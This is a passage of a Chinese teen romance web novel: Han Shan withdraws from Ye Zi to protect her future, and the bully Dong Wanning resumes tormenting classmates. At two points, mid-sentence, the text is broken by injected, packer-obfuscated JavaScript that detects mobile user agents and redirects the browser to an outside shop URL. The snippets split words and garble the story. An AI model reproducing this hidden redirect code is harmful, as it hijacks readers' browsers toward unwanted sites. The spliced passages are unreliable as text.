翁方海更惊讶:“哟,那你成绩不错?” 一中可是省重点,多少人挤破头都进不去。 韩山低头轻笑一声,不置可否。他不想提起韩松庭。 翁方海在心里算了算:“那你现在十——” 韩山告诉他:“十七。” 正常来说他现在应该高二了,但小时候因为一些事情,耽误了一年。 翁方海斟酌了一下,他并不介意未成年,但他听得出韩山话里话外的拒绝之意。既然韩山找了个体面的借口,那他也不能破坏这份体面。 翁方海呵呵一笑,“那罢了,你先上学,等你毕业了再说。”他拍拍韩山的肩膀。 韩山唇角挂着轻佻的笑,拿来酒瓶给自己倒满,举杯致意。 翁方海爽朗大笑三声,与他碰杯,“等会我有个饭局,跟我一起去玩玩?” 韩山来之前就跟玮琪请了假,今晚时间自由。他仰头将酒一饮而尽,放下空酒杯,“荣幸之至。” 韩山陪翁方海观赏第二场角斗,翁方海对韩山很有好感,也颇为感兴趣,边看边跟他闲聊,“你是不是练过?” 韩山随便应了声:“算吧。” “练了多久?” 韩山也记不清多久了,从他有记忆起,他就跟着妈妈请来的国际教练训练,全年无休。 翁方海似乎也不关心他的答案,没有给他回答的时间,接着说:“我那天在Kings,看见你出手拉架,我印象很深刻,你用腿将那人的腿一别,顺势擒住他两只手,将他制伏在地。虽然只有这么一个简单的动作,但我看得出,你绝对练过不短时间。”他转头看着韩山,指了指自己两只眼睛,“我看人很准。” 确实准,看上的是世界冠军。 韩山勾唇,翁方海把话说到这份上,他若是不承认,反而是不给他台阶下,暗指他看走眼了。 韩山给自己倒满酒,举杯说:“我从小就开始练了,如今大概有十余年了。翁老板果然好眼力,我敬您。”他仰头干了。 翁方海哈哈一笑,一般人对他的褒奖,都会刻意谦虚或是藏拙,而韩山却坦然接受,还反过来肯定他。 翁方海愈发欣赏这个听得懂话,会来事的年轻人。 他转头对身后的保镖抬了下手。 保镖立刻将一盒雪茄奉上。 这是翁方海珍藏的名品,他示意保镖给韩山,“这盒你都拿走。” 韩山认识这个牌子,一盒五位数,韩松庭也偏爱这款。韩家有很多。 他连忙推辞:“使不得翁老板,我一个穷学生,抽不惯这种好东西。” 翁方海笑道:“我要给的东西,你没有拒绝的余地。正好你没抽过,拿回去尝尝!” 韩山深知恭敬不如从命的道理,说:“谢翁老板垂怜。” 翁方海看了眼手腕名表,起身说:“时间差不多了,该出发了。” 韩山随之站起来。 翁方海带韩山出席的是他们圈内大佬的聚餐,包间金碧辉煌,外国乐队拉着小提琴,桌上鲍鱼龙虾,饕餮盛宴。 觥筹交错间,几亿的生意大单拍板成交。 这些大佬多是带着美人来,鲜少有带男人来的。 翁方海喝了不少,韩山自觉为他挡酒,翁方海非常满意,小声对他说:“以后这种场合,我还带你来。女人,中看不中用。” 韩山弯唇笑笑。 众位老板也很好奇今晚翁方海带来的这个年轻人。之前翁方海不是没带过朋友一起来过,但今晚这个明显气质不同,看起来玩世不恭,桀骜难驯,然而举手投足又带着仿佛出身豪门的得体和从容。 和他搭话,他应对自如,张弛有度,完全挑不出错。但又一直淡淡的,有几分距离感,只会跟翁方海亲近,看起来格外忠心。 他们都喜欢忠心又有能力的手下。 这顿饭后,他们都记住了Ace的名字,也算是结识了。 散场已是凌晨,韩山把翁方海扶上车,手机忽然滴滴响了两声,来短信了。 他帮翁方海关上车门,拿出手机,是一个陌生号码发来的。 他打开短信。 韩山!明天你是不是就要回来上课啦?我今天把证据给赵老师看了,董婉凝也被停课了!我很开心,你开心吗?明天见! 是她。 一整晚运筹帷幄的冷硬心肠在这一刻突然变得柔软。他点开回复框,想回点什么,翁方海的车窗降下来,醉醺醺说:“真不跟我干吗?条件你开。” 众位老板的车一辆辆从韩山身旁经过,鸣笛跟韩山致意。韩山抬手回应。目送他们都离开后,他对翁方海摇了摇头。 他心思在那条短信上,无心去想拒绝的话,只是摇头。 翁方海不想勉强他,升起窗户,对司机下令:“回去。” 翁方海的车离开。 他的车是最后一辆,他原本想送韩山回去,韩山拒绝了。 韩山目送他的车拐过弯,重新拿起手机,在回复框里删删改改,最后发送:明天见。 他锁上手机,在路边打车。 叶子收到他的回复,高兴得在床上打了几个滚。 虽然只有短短三个字,她却感受到他的回应,他应该跟她一样,期待着明天的见面吧。 离上次见面只有几天之隔,她却有点怀念了呢。 这份心情,他应该也是一样的吧。 * 夜里,韩山躺在床上,抱着手机,翻来覆去,不知道该给叶子个什么备注。 大名有点生疏。 他在叶子手机上给自己的备注是阿弥,他也想给她一个同等位的备注,可他又实在想不出合适的。 最后他撑不住了,索性没保存她的号码,把手机一丢,睡着了。 第二天清晨,他自己醒过来,揉了揉微痛的额头,把弄脏的裤子床单一股脑扔进了洗衣机。 气血方刚的年纪,他控制得住自己的行为,却避免不了身体的反应。 他放空陷在沙发里,头向后仰靠着,烦躁揉了把银发。 无处安放的精力堵在身体里,让人心焦气躁。 昨晚为帮翁方海挡酒,他也喝了不少,当时他没什么感觉,一觉醒来脑袋却隐隐作痛。 加上那股燥热之气…… 总之,很不舒服。 墙上的时钟显示五点半,外面天还黑着。 他靠了会儿,起身脱掉上衣,在地上疯狂做俯卧撑。 各种姿势的俯卧撑都做了一遍,他起身戴上拳击手套。 六点半,天蒙蒙亮,他摘下手套去冲澡,那股躁郁之气终于随着汗水褪去。 时间还早,往常他会再睡一会儿,等天大亮,姗姗前往学校。 然而想起与叶子的约定,他没再睡,吹头发换衣服。 她还等着与他见面呢。 少年动作很快,几分钟后就出了门,骑机车来到网吧门口,步行去学校。 他从后门进教室,目光不经意投向叶子的座位,很好,她还没来。 这样她一进班就能看见他。 班里只有零星几个人,好学生的班级,他们来得早,也是背书做题,没人回头看他。 韩山坐在自己座位上,校服外套蒙住头,趴桌补觉。 叶子进教室的时候,一眼就看到了角落位置上趴着的身影,眼中生出笑意。 她真的很开心能跟他在教室相见。 此时同学们已来了大半,也都注意到角落的少年,氛围微妙,没人敢大声说话。 叶子把书包在椅子背上挂好,坐下来。 董婉凝的座位空着,秦夏看看韩山,又看看叶子,她其实也好奇他们的关系,但开口询问太过冒犯,她不会做。 她只知道,跟叶子亲近,自己肯定也会安全。 她拿着杯子从座位上站起来,走到叶子桌前,“叶子,我要去接水,一起吗,或者我帮你接?” 叶子露出甜美的笑容,“好啊,一起吧。” 叶子跟她一同去水房接水,叶子闲聊问她:“董婉凝后来找你麻烦了吗?” 秦夏很感激地看着她,“没有,多亏了你。” “没事。” 这会儿水房人少,秦夏接完水,往杯子里丢了颗泡腾片,拧上杯盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713096|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,顺便问叶子:“你要来一个吗?” 泡腾片在秦夏杯子里不断溶解,冒出泡泡。 叶子疑惑:“那是什么呀?” 秦夏笑着说:“泡腾片,维C保健型的。给你一个吧。” 叶子没泡过泡腾片,也想尝尝什么味,没有拒绝,眼睛亮亮地接过她的泡腾片,投进自己杯子里,“谢谢啦。” 淡橙色的泡腾片迅速开始溶解,看起来是香橙味的,叶子迫不及待尝了一口。 秦夏忍不住笑:“还没泡开呢,没味。” 叶子在口中咂摸了咂摸,确实没味,她也忍不住笑自己。 两个少女说说笑笑回班,早读铃响起,课代表上讲台领读。 全班都站起来读书,唯独韩山趴着,在班里格外显眼。学委边早读边来回转,提醒不好好读书的同学,却唯独不敢叫醒韩山。 叶子向后看了两眼,默默叹气。 他们隔得好远呀。 她想叫他都叫不了。 赵育芳从教室外经过,班里早读声顿时大了起来。 叶子有种不祥的预感,又向后看了一眼,韩山一动不动,丝毫没有醒转的趋势。 果然,赵育芳站在教室前门口,喊了声:“韩山。” 早读声小了些许,有人回头看。 赵育芳心情似乎不太好:“你们读你们的,回头看什么!” 他们立刻转回来,早读声又变大。 赵育芳进班,向韩山座位走去。 叶子心提到嗓子眼,表面低头读书,然而耳朵已经竖起来,注意力跟着赵育芳走。 不少同学纷纷往后看。 赵育芳提溜着韩山的后领,将他从桌子上拽起来,“醒醒了,还睡。跟我来。” 韩山头上的校服外套滑下来,他困倦地站起身,把校服丢桌上,跟着赵育芳出去了。 他们从后门离开,叶子捧着课本,看着韩山经过窗外。 韩山步伐慢吞吞,脸上没什么情绪,目光漫不经心瞟进来,与她四目相对。 叶子心一紧,下意识低头看书。 赵育芳带韩山进了办公室,坐在工位打开电脑,开口第一句:“不是让你把头发染回来吗,怎么还是白的。” 韩山挑衅说:“不染。” 他今早洗澡时望着镜子里的银发,便想过这个问题。 他偏不染。有本事开除他。 他身上那股刺儿劲又出来了,平常他气质偏冷,处事不惊,但每当面对老师,总是格外锐气,锋芒毕露。 赵育芳严厉说:“要是学校领导发现了,别说我没警告过你。” 韩山偏过头,不耐烦看向别处。 赵育芳:“还有那件事,叶子查明了真相,董婉凝我已经做了停课处分。” 韩山冷笑:“您这是做什么,向我汇报工作?” 赵育芳苦口婆心说:“你保护同学是没错,但能不能换种方式?打架终究不对,也不符合学校规定。” 韩山语气顽劣:“他们先动的手。我不还手站着挨打吗?” 赵育芳耐心说:“你可以告诉老师。” 韩山冷嘲:“放学时间,您不下班吗?” 赵育芳有些火大:“那你把他们打成那样,被停课叫家长,你就舒服了?” 韩山轻嗤一声:“总比挨打舒服。” “你这孩子!”赵育芳气极:“行行,以后你爱咋地咋地吧,我是管不了你了。反正是你高考,不是我高考。” 韩山转身便走,赵育芳叫住他:“等等,你跟叶子什么关系?” 韩山猛地顿住。 赵育芳早有怀疑,叶子一个人不可能做到潜入办公室调取监控。 之前真相不清楚时,叶子在办公室那样维护他,现在真相大白,赵育芳后知后觉,他们是在互相维护彼此。 现在,叶子又为了他的清白做了那么多,就算他们不是早恋,关系也不会差。 可那是叶子啊。 赵育芳态度冷下来,警告地说:“她可是年级第一!以她的成绩,国内顶尖大学随便上。你自己不学无所谓,你若是影响她,耽误她高考,这后果你承担不起。” 韩山身体逐渐僵硬,双颊鼓动两下,头也不回出了办公室。 少年叛逆难驯,不论赵育芳说什么,他总有话怼回去,然而当她提起叶子,他却一言不发,什么都没说。 33. 可爱女孩 赵育芳的话刺激了韩山。 他想了两节课,残忍地意识到,他跟叶子确实不是一个世界。 她学习好,又聪明,她会考上一个很好的大学,有光明的未来,而他……明天会如何都不知道。 就算是友谊,也要互相匹配才能长久。 他只会耽误她,拖累她。 第二节下课,大课间跑操,要去操场站队。 叶子原本想跟韩山打个招呼,他第一天回来上课,他们还没说过话呢。 然而秦夏来找她一起走,她只好先放放,跟着秦夏出了教室。 韩山注视她的背影离开,心更冷了几分。 看啊,她可以找到跟她匹配的朋友,光明正大走在一起。 他还有什么资格,挤占她身边的位置。 他拿出她之前给他的笔记本,路过她座位时,顺手放在她桌上。 东西还了,便两清了吧。 韩山是体委,回来了就要带队跑操,他情绪不好,无意间跑快了些,导致前面的班级也不得不加快速度,这样一个班接一个班,一己之力让整个跑操队伍都变快了。 往常跑操要十多分钟,这次竟然不到十分钟就结束了,同学们怨声载道,气喘吁吁地抱怨今天怎么跑得这么快。 秦夏和叶子站在一起,也在抱怨:“今天大家都打了鸡血吗?” 叶子跑得小脸红红的,心跳扑通扑通,呼出雪白的哈气。 她看着队伍前面的韩山,有些担心。她察觉到他不对劲,他喊口号也喊得心不在焉。 然而她身边有秦夏,她又不好丢下秦夏一个人去找他。 解散后,学生们喘着气往教学楼走,韩山没有丝毫气喘,只是心跳快了些。这点运动量对他而言连热身都不算。 他个子高,比人群高出半头,十分显眼,叶子看着他独自走在前面,心里不是滋味。 她还是放心不下,给秦夏说:“我有点事,先走一下。” 秦夏忙说:“你快去吧。” 叶子告别秦夏,挤开人群去追韩山,却看见一个窈窕的身影先一步到了他身边。 她脚步微顿,那是谁呀? 孟燃跑操时看见了韩山,她奉了董婉凝的命勾引韩山,一结束立刻来给他搭讪。 “哈喽,能认识一下吗,我叫孟燃。”她语气轻快地跟他破冰。 孟燃今天穿的校服,扎了个高马尾,发梢微卷,脸上画了淡淡的素颜妆。 她长得本就美,画了素颜妆更美得自然无瑕。 她知道这个年龄段的男孩子多喜欢天然去雕饰的美,故意没有“精心打扮”。 韩山看她一眼,微不可察蹙眉,冷冷说:“不能。” 孟燃并不觉得尴尬,依然笑着说:“没关系,能不能的,都已经认识了。” 韩山嘴角扯出一丝极浅极淡的嘲弄,倒没否认,看她要做什么。 孟燃发现他确实有点不一样。 这个年龄段的男生荷.尔.蒙旺盛,总是对异性有意无意的献殷勤。 而他冷漠极了,浑身上下透着一股禁.欲.感。 这种不咸不淡,坐怀不乱的气质,反而格外吸引人。 教学楼门口人多,学生们都往里涌,孟燃被挤了一下,顺势贴上韩山身侧,抓住他的胳膊,发出柔弱的一声:“哎呀。” 这里人挤人,韩山避之不及,垂眸冷眼看她。 好拙劣的戏码,令人发笑。 韩山推开她,声音没有一丝温度:“谁派你来的?” 叶子在后面看到他们贴在一起,心里闷闷的,打消了去找他的念头。 他们好般配呀。她忍不住想。 少年步调缓慢,背影挺拔料峭。孟燃步调轻快,在他身边格外灵动。 孟燃个子偏高,高一已经有一米六八,和韩山走在一起身高差刚刚好。她是舞蹈生,身材也很好。 叶子默默叹气,她要是也能长高一些就好了。 孟燃自认为悦男无数,没有什么男生能再让她乱了阵脚。可听到韩山这话,她竟有些慌乱无措。 难道她就这么明显? 对上韩山那双仿佛能看透一切的冷漠的眼,她本能地有些害怕,轻轻吸气,镇定地说:“没人派我来呀,我觉得你很有个性,想跟你交个朋友。” “是吗?”韩山冷笑,黑眸深不可测:“放学巷子口,敢来吗?” 孟燃脸色微白,没想到他竟然这么直接,“干、干嘛啊?” 韩山语气轻飘飘反问:“你说呢?” 孟燃不知道是心虚还是怎么回事,脊背一阵发凉。 可同时,又有些难以自控的心动。 从生物学上说,男生成长得晚,这个年龄段的都相当幼稚,所以她不屑一顾。 而他不一样,他身上一股稳重高冷的气质,无端吸引着她。 孟燃忐忑极了,觉得自己应该答应,可本能却在逃避。 她想到董婉凝说他打架很厉害…… 不会是要揍她吧! “还、还是算了……我先走了……”她斗争不过恐惧的本能,匆匆穿过人群逃离了,一眼也不敢回头看他。 韩山神色始终冷然。 这样就吓破胆了,不及那个女孩的万分之一。 * 叶子比韩山晚进班,走到座位时,看到桌面上的笔记本,下意识回头。 韩山校服蒙在头上,又在趴着睡觉。 他可真能睡呀,逮到点时间就睡。 她有些担心他的成绩,这样下去,他们下个学期还怎么一个班呀? 她无奈坐下来,翻开笔记本。 也不知道他看没看呀。她试图在本子上寻找一些翻看过的蛛丝马迹。 然而没有。 不知道是他格外小心,还是根本没翻过。 丝丝缕缕的沮丧缠绕心头。 他明明答应过她会努力学习,下学期继续跟她一个班的。 她忍不住又回头看,少年头上盖着校服,仿佛与世界隔绝。 下午,孟燃不死心,来教室门口找韩山,手上捧着一盒巧克力。 她探头探脑在窗外张望,寻找韩山的身影,却没能找到。 班里进进出出的人很多,她拦下好几个想让他们帮忙叫下韩山,都被拒绝了。 那大佬正趴着睡觉,谁敢叫? 这时,叶子和秦夏一起去上厕所,孟燃平等地也拦住她们。 “你好,同学,能帮我叫一下你们班韩山吗?”她笑得明艳温和。 叶子微微迟疑,认出眼前这个就是上午跑操结束跟韩山同行的女生。 她确实很漂亮,这一笑,连叶子都恍了下神。 秦夏对孟燃有种天然的敌意,这个女生看起来就跟董婉凝是一类人。她不想让叶子帮她,拉着叶子便走,“我们还有事呢。” 叶子却并不介意,对秦夏说:“没事,你先去吧。” 秦夏无奈,只好自己往厕所走了。 叶子回头往教室角落看了一眼,韩山还在睡。 他真的很爱睡觉,从上午睡到下午,清醒的时候寥寥无几。 她对孟燃弯弯眼睛说:“他睡觉呢,你是——” 上午她就好奇他们的关系,正好借这个机会问问。 孟燃并不认识叶子,虽然听董婉凝说起过,但还没把名字和人对上号。她堂而皇之答道:“我是他朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713097|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友,你能帮我叫一下他吗?” 叶子觉得“朋友”这个词尤为刺耳,她当初好不容易才跟韩山做成朋友,怎么突然蹦出来一个女生直接就说跟他是朋友。 她想起之前在火锅店也看到过韩山跟一个女生一起走,难不成都是他的“朋友”? 他女生缘这么好吗? 叶子心里不太舒服,但表面还是微笑说:“稍等。” 终于有人愿意帮她叫了,孟燃仿佛找到了救命稻草,忙说谢谢。 叶子转身进了教室,来到韩山座位前,心跳随着距离的缩短而加快。 她一直想找个机会跟他打招呼,但一直没打成,现在终于有了机会,却是为了帮别人叫他。 孟燃的目光跟着她移动,终于看到了韩山在哪里。她来到教室后门口,这样看得更清晰。 叶子抬起手,犹豫了一下,轻轻拍了拍韩山后背,“韩山,有人找你。” 韩山睡得很沉,但一叫就醒了,掀起校服目光朦胧地抬头。 他眼睛困倦中带着柔,与她四目相对。 他只看着她,不看其他任何,仿佛他的清醒只是为了她。 下课时间,同学们学习的学习,玩的玩,睡的睡,无人在意他们。 叶子心跳砰砰的,指了指后门。 韩山顺着她的指尖看去,孟燃在门口对他热情招手。 他蹙眉,黑眸一瞬冷下来。 叶子也向后门望了一眼,特别小声酸溜溜地说:“她说她是你朋友。” 普普通通的陈述句,却暗含着微妙的少女心思。 韩山回过头,目光在看到叶子的时候重又变得柔软。他简明扼要说:“我不认识她。” 叶子才不信,下意识噘嘴,说:“你们上午不是才一起走过吗?” 韩山回想了一下,跑操结束后好像是跟一个女生同行了一段,然而他根本没有当回事,甚至不记得那个女生长什么模样。 叶子这么一说,他才意识到门口的就是那个女生。她来他班里找他,还让叶子来叫他。 他心头一阵反感,正色告诉叶子:“董婉凝的人,来挑事的。” 叶子神色变了变,原来是这样吗! 孟燃在后门口看着他们说话,有种直觉。 她刚才清楚地看到了韩山瞬间切换的眼神,他看自己时那么冷淡,可看那个女生,却那么温柔。 难道她就是叶子? 叶子得到韩山的答案,心里舒服多了,同时又有些不安,打架的事刚过去,韩山才第一天回来上课,不会又要出什么事吧? 她紧张说:“那怎么办啊?” 韩山站起来,双手扶着她,轻轻往前送了一下,“没事,你去忙你的。” 叶子立刻放心了,他这个轻轻一送的动作很有安全感,就好像在说,别管了,交给我吧。 她用力点头,向前门走去,边走边回头看。 韩山迈着长腿,走向后门。 孟燃以为他要来见她了,眼睛微亮。 然后叶子就看见,韩山当着孟燃的面,冷漠关上了后门,给孟燃吃了个闭门羹。 叶子忍不住低头笑,出了教室,没有回头看孟燃的脸色,向厕所走去。 美人计失败了,孟燃躲起来给董婉凝打电话,“婉凝,这招行不通啊,天哥说得没错,韩山根本不吃这套。你说的叶子我也见到了,长得……嗯……普普通通,倒是挺会蛊人的。韩山跟她说了几句话之后,理都不理我了。” 电话那头沉默两秒说:“燃哥你都搞不定,那没人能搞定了,先这样吧,过段时间再说。你保重好自己哦。” 孟燃虽然不甘心,但也没什么办法,只能应道:“好吧。” 34. 可爱女孩【三更合一】 董婉凝被停课两天,很快就回来了,与之相对的,韩山却不再来学校了。 起初叶子以为他只是和往常一样,迟到而已,结果直到放学他都没有来。 她意识到,他旷课了,不再是以“节”为单位,而是以“天”。 赵育芳似乎也不管他了,他没来,座位是空的,她不可能看不到,但她问都没问。 叶子心中沮丧,他明明答应她会努力学习的呀。 晚上写完作业,叶子从抽屉里拿出手机,打开通讯录,给他发短信。 地下负一层的Kings里,音乐劲爆,霓虹灯影跃动,舞台上,银发DJ穿着银色亮片衬衫,反射着霓虹灯光,无比闪耀。 漆黑的墨镜遮挡他的眼眸,他银发烫过,浑身散发着冷酷、不羁的气场,距离感十足。袖子卷到手肘,漂亮的小臂肌肉线条随着他的动作若隐若现。 这是玮琪给他准备的服装,衬衫版型宽松显瘦,她说他肩宽腰细,肩膀仿佛衣架子,最适合穿衬衫。 不经意的,他感觉到裤兜里手机震了一下。 往常工作他从不看手机,但这次冥冥之中,他似有感应,推动按钮调好音,转身下了舞台,拿出手机。 是那个“陌生号码”。 虽然他没有保存,但那串数字他看了无数遍,已烂熟于心。 立刻有女人迎上来,向他要联系方式,他视而不见,错开他们,推门进员工通道。 他懒懒靠在墙上,打开短信,少女的语气随着文字一同闯出来。 韩山!你今天怎么没来上课呀?你去哪了?我们说好下学期还要一个班的。 分明是冰冷的文字,不该有语气,可少女天然富有生机,发来的文字都带了温度,他几乎能想象她说出这些话的语气和神态。 她一定很失望很着急吧,他要辜负他们的约定了。 可是没办法,他们一个班,他不离开,注定会有交集。 他把手机放进兜里,便要出去,可又不忍心,还是停下来,拿出手机。 这回他没有删删改改,他像是早就想好了一般,打出四个字,直接把手机关机。 倘若她的未来因他而受到影响,他自己都不会放过自己。 他回到舞台,台下爆出欢呼声,他现在人气绝尘,很多人奔他而来。 他扬起唇角,立刻进入状态,娴熟地打碟,编辑音乐,似乎已经忘记了刚才的事情。 叶子发完短信便继续学习了,手机放在桌边。 听到手机响,她迫不及待地打开短信。 她以为韩山会给她解释一下的,然而屏幕上只有冷冰冰四个字: 好好学习 不然怎么对得起他退出她的世界。 * 夜深,叶子关灯躺在床上,辗转反侧。 她不知道为什么他就疏远她了,他们不是朋友吗?她感到无力,他们就像两条倾斜的直线,相交后渐行渐远。 他在她世界出现一下子,好像就只是为了帮她吓退欺负她的那些人,任务完成了,就离开了。 他们的生活不再有交集,叶子每天正常上学,晚上学到半夜关灯睡觉,两点一线的生活,恢复了原本的枯燥乏味。韩山晚上在Kings当DJ,偶尔陪翁方海吃饭,顺便结识一些圈内大佬。 他怕叶子会去仓库找他,索性不回去了,白天就在Kings补觉。 叶子周末时真的去仓库找了他一趟,仓库锁着门,厚重的黑色窗帘将窗户遮得严严实实。 她敲了半天门,喊韩山的名字,无人回应。她不死心,找来大大小小的石头垒起来,踩上去,想从外面打开他仓库的窗户,看看他到底在不在。 然而他的窗户从里面反锁了,她怎么打也打不开,石头形状各异,垒在一起不稳,一下子散开,她摔在地上,痛得掉眼泪。 好在她穿得厚,除了手掌有点蹭破皮,没受什么伤。 她爬起来,拍拍身上的灰,拿出手机给他打电话。她这段时间一闲下来就会给他打一个,可是都打不通。 这次也是一样,手机里传来冰冷的女声:“您拨打的用户不在服务区……sorry……” 她有些生气,明明是他自己把电话号码给她的,却不接她的电话。 她摘下书包,从笔记本上撕下一张纸,写了字条从铁门缝隙塞进去,让他看到后联系她。 她周六日还是会去火锅店打工,生活按部就班,遵循着她原本的轨迹前进,她不会知道,同一时刻,她一直寻找的少年,就在她火锅店对面的Kings里。 他知道她晚上十一点下班,有时会掐着时间,坐电梯上一楼,躲在窗帘后面,隔着玻璃与宽阔的马路,远远看她一眼。 她跟同事一起包车回家,说说笑笑。这样他便放心了,他会觉得他离开是对的。 叶子没有放弃找他,时不时会去一趟他常去的网吧,她还找过一次猴子,想问问韩山现在的情况,然而猴子竟然也不清楚,说这段时间联系不上弥哥。叶子无功而返,心里的结更重几分。 很快冬至了,今年冬至偏早,十二月二十一号。家家户户吃汤圆喝热汤,热气将窗户熏得雪白,叶子跟爸妈一起搓汤圆,欢声笑语。 可她还是放心不下韩山。 他在她最无助的时候救过她,护过她,承认过他们是朋友。她感恩之心常在,哪怕是不告而别,她仍惦念着他。 吃完饭她忍不住又给韩山发短信,用少女天真俏皮的口吻问他有没有吃汤圆呀?不然会不圆满哦。 韩山跟着翁方海在富丽堂皇的包间喝酒,感觉到手机震动,他依然会习惯性地立刻拿起查看,但他不会再有任何回复。 他的手机被他植入了一道程序,他可以接到叶子电话,而叶子那边会提示不在服务区。 他无数次看着她的来电显示,会犹豫、会心软,会想要么接一下算了,但最终还是克制住。 他喝得有些多,黑眸蒙着雾气,柔柔看着屏幕那串文字。怎么能这么倔,他冷落她这么久,她还是坚持不懈。 他拇指珍惜地抹过屏幕,仿佛抹过她白皙透红的脸蛋。 若非她这样坚持,或许他便也忘了她,不用这样备受折磨。 翁方海发现他看着手机出神,凑过去调侃说:“怎么了?你的小女友?” 韩山回过神,不动声色锁上手机,脸上重新挂起浮夸轻佻的笑,“哪有的事。” 过完冬至,很快就是圣诞节,街边店铺摆起了圣诞节的装饰,放起了《JingleBells》,节日气息日益浓郁。 天越来越冷,叶子放学坐公交回家,望着街边的景色。 车窗上的反光不断在她脸上掠过。 路过那家必经的花店时,叶子杏眼微亮。 快到节日了,花店开始忙碌了,摆的鲜花比往日更加丰富鲜艳。 都是温室里培养的花朵,十二月的冬天依然娇艳欲滴。 叶子若有所思,一直注视着花店,直到再也看不到。 十二月二十三号,是个周六,临近期末,学校要补课,叶子给火锅店请了假,来学校上课。 教室很热闹,明天就是平安夜,赶上周日放假,同学们今天就开始互送圣诞贺卡和平安果。 韩山离开这么久了,董婉凝胆子愈发大了起来。 之前叶子向老师举报她剪断电缆线,揭穿她的计谋,害她停了两天课,被父母责骂,断了零花钱,她可还记得呢。 她在叶子来之前往她桌子上放了个恶作剧盒子,这是她精挑细选的,表面跟平安果礼盒一样,但打开会弹出一个骷髅头,她还往里面放了两只宠物蜘蛛,绝对让叶子吓得魂飞魄散。 叶子来到座位,看到桌上放着一个盒子,还有两张贺卡,心中意外。 她先打开贺卡,一张是秦夏给她的,祝她圣诞节快乐,她扭头对秦夏笑了一下,一张是步一凡的——卖她专辑的那个男生,问候她最近怎么样,钱攒够了吗?他会一直帮她留着。 叶子有些惋惜,她是攒了一些钱,可昨天被她全部花掉了,她又要重新攒了,不知道攒到何时呢。 她收起贺卡,视线落在礼盒上。 平安果? 她没有防备,也没有多想,直接打开了。一个骷髅头猛地弹到她眼前。 董婉凝一直看着她,忍不住笑,然而预想中的尖叫声并没有出现。 叶子面色平静,并不怕这东西。 她低头往盒子里看,真正让她害怕的是那两只蜘蛛。 董婉凝专门挑的宠物蜘蛛,有矿泉水瓶盖那么大。 叶子“啊”地一声,脸色惨白,将盒子甩飞出去。 同学们都看向她,董婉凝捶桌大笑。 盒子掉在地上,蜘蛛爬出来,满教室乱窜,怕蜘蛛的女生不少,尖叫声此起彼伏。教室乱作一团。有男生觉得好玩,大喊:“踩死它踩死它!” 场面混乱,今天补课,补的是文理六科,赵育芳教语文的,没来。班里没老师管,只有班长张婧雅和纪委齐静声嘶力竭地维持纪律。 叶子惊恐地蜷起双腿,踩在椅子上,警觉地扫视地面,生怕那蜘蛛爬到她身上。 好一会儿她才缓过劲儿,发现是董婉凝的恶作剧,全班数她笑得最欢。 这是个不太好的兆头,她隐约有些担心,韩山不在,董婉凝不会要卷土重来吧? 她的猜测很快得到印证,早上的恶作剧只是试探,董婉凝发现没什么事后,立刻就嚣张了起来。 她并没有直接对叶子动手,而是先拿秦夏开刀。 她和秦夏是前后桌,先是抢秦夏的文具用,然后又是拿笔尖扎秦夏的手,撕秦夏的课本,还用美工刀威胁秦夏不准告老师。 叶子和秦夏座位远,不能时时刻刻看着她,这些都是和秦夏一起上厕所时秦夏告诉她的。 秦夏啜泣着问叶子怎么办。叶子一时也不知如何是好。 她联系不上韩山,可是又没有第二个人能让董婉凝忌惮。董婉凝的家境在那摆着,告老师也不一定能解决问题,甚至有可能适得其反激怒她。 现在只能靠她们自己。 秦夏实在怕极了,抓住叶子的肩膀,近乎崩溃地说:“叶子我真的受不了了,这才消停了几天,她又开始了。现在她只是坐在那里,哪怕什么都不做,我就害怕。之前她也欺负过你,你跟我说实话,后来她是为什么收手的,是韩山在罩你吗?他现在在哪啊,为什么不来上课了?” 叶子也无法回答,安抚她说:“秦夏你别慌,我们现在是两个人,不管发生什么至少都有个照应。我会想办法联系他的。” 秦夏却更加不安了,她这话的意思不就是她现在联系不上韩山吗? 叶子带她往教室走,“别怕,我们先回去,别让董婉凝怀疑。” 秦夏低着头进教室,不敢看董婉凝,提心吊胆经过她,坐在自己座位。 董婉凝立刻转过身,笑眯眯说:“哟,怎么去这么久呀?是商量对策去了吗?” 秦夏一个激灵,支支吾吾不敢回答。 董婉凝洋洋自得说:“我打听过了,今天是补课,班主任不在,校领导也不在,任课老师上完课就走了,你们就算告老师,也找不到人告。” 叶子在自己座位担忧地看着董婉凝跟秦夏说话,虽然她听不清她们具体说的什么,但看秦夏害怕的样子,她有种不祥的预感。 董婉凝注意到她的目光,转过头对上她的眼睛,露出傲慢轻狂的笑容。 她这段时间受的窝囊气,定要加倍奉还回去。 中午叶子和秦夏一起在食堂吃饭,今天高一到高三都补课,食堂人还是一样多。 她们打完饭食堂里满满当当,放眼望去一个空位都没有。 秦夏发愁:“坐哪呀?” 叶子眼尖,看到两个女生刚好吃完饭端着餐盘离开,连忙拽着秦夏过去,“那那那!” 叶子把餐盘放桌上,坐下来,秦夏坐在她对面。 叶子抽出一张面巾纸给秦夏,“擦擦吧。” 桌子上有一些油和米粒,秦夏接过面巾纸,把自己面前擦干净。 叶子也擦了擦,她早上没吃饭,早就饿了,擦完立刻拿起筷子就要大快朵颐。 然而一片黑影却笼了下来。 “这地我们占了,你们起开。” 董婉凝的声音。 叶子抬头,神色微凝。 